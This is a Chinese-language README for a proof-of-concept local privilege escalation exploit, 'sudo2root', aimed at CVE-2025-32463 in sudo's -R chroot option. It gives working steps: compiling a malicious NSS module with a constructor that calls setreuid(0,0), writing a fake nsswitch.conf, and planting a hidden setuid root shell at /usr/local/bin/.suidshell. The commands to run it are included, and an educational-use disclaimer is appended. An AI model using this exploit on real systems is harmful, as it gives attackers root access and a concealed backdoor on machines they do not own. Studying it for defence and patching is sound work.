sudo -R NSS 注入实现本地权限提升此 PoC 演示了在 Linux 系统上通过滥用 sudo -R 选项并结合自定义 NSS 模块实现的本地权限提升。它针对漏洞 CVE-2025-32463,该漏洞源于在 chroot 环境下对 nsswitch.conf 和 NSS 共享库的不安全处理。
本 PoC sudo2root 改编自原始技术,通过编译一个自定义 NSS 模块,利用 constructor 属性提升权限,并在 /usr/local/bin/.suidshell 放置一个 setuid root shell。
sudo 的 -R chroot 标志的输入验证不当及不安全使用。sudo 访问权限的本地攻击者可以以 root 身份执行任意代码,打破容器和用户隔离。sudo -R 更改根目录,但不会降低权限或净化环境。nsswitch.conf 和自定义 libnss_* 共享对象。sudo 加载攻击者控制的 NSS 库。__attribute__((constructor)))执行代码,放置一个 setuid root shell 并提升权限。sudo2root.c – 恶意 NSS 模块:
setreuid(0,0) 和 setregid(0,0) 获得 root 权限gcc 编译它Bash 利用脚本:
etc/nsswitch.conflibnss_/sudo2root1337.so.2sudo -R sudo2root sudo2root
Setuid Shell:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
利用完成后,运行:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # 主利用脚本
libnss_/sudo2root1337.so.2 # 恶意 NSS 模块(已编译)
sudo2root/etc/nsswitch.conf # 指向伪造模块的自定义 nsswitch
/usr/local/bin/.suidshell # 最终的 setuid root shell
sudo -R:sudo 的 -R <dir> 标志会在执行命令前更改根目录。nsswitch.conf,其中包含 passwd: /libnss_<name>.so,那么 sudo 会在降低权限之前加载它。编译共享对象的方式如下:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
构造函数在 main() 逻辑之前运行。
创建并编译一个 suid shell,包含:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
通过以下命令设置权限:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirus此代码仅供教育目的使用。在非您拥有或未经明确许可的系统上未经授权使用此代码是非法且不道德的。请始终在进行安全测试前获得适当授权。